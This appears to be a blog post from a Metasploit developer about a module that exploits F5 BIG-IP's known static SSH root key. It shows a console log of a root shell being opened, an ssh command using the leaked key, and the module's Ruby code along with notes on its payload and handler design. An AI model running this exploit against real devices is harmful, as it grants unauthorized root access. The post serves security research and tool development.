18:42:35 0 exploit(f5_bigip_known_privkey) > exploit
[+] Successful login
[*] Found shell.
[*] Command shell session 3 opened ([redacted]:52979 -> [redacted]:22) at 2012-06-22 18:42:43 -0600
id; uname -a
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Linux [redacted] 2.4.21-10.0.1402.0smp #2 SMP Mon Feb 15 10:23:56 PST 2010 i686 athlon i386 GNU/Linux
^Z
Background session 3? [y/N] y
18:42:35 1 exploit(f5_bigip_known_privkey) >
[*] Found shell.
[*] Command shell session 3 opened ([redacted]:52979 -> [redacted]:22) at 2012-06-22 18:42:43 -0600
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Linux [redacted] 2.4.21-10.0.1402.0smp #2 SMP Mon Feb 15 10:23:56 PST 2010 i686 athlon i386 GNU/Linux
^Z
Background session 3? [y/N] y
ssh -i ~/.ssh/f5-bigip.priv root@8.8.8.8
This bug is also interesting in that it gave us a good test case for using static SSH credentials as an exploit module rather than auxiliary. The key difference between exploit and auxiliary modules is usually the need for a payload. If it needs a payload: exploit. Otherwise, it's auxiliary. In this case it's a little blurry, though, because it results in a session, which is typically an exploit trait. Some of our authentication bruteforce scanners get around this with some ruby acrobatics so they can still create a session despite not having a payload or a handler.
First, and probably most important, it doesn't upload a payload to the victim. The connection itself becomes a shell, so it doesn't need to but that presents a bit of a problem with the framework's design. Fortunately there is a payload for exactly this situation: cmd/unix/interact. This simple payload is different from most; all it does is shunt commands from the user straight to the socket and back. It uses a "find" handler similar to the way a findsock payload works. To tell the framework about the payload and handler this exploit will require, we need a block in the module info like so:
- 'Payload' => {
- 'Compat' => {
- 'PayloadType' => 'cmd_interact',
- 'ConnectionType' => 'find',
- },
- },
- 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
- register_options(
- [
- # Since we don't include Tcp, we have to register this manually
- Opt::RHOST(),
- Opt::RPORT(22),
- ], self.class
- def exploit
- conn = do_login("root")
- if conn
- print_good "Successful login"
- handler(conn.lsock)
- end
- end
No comments:
Post a Comment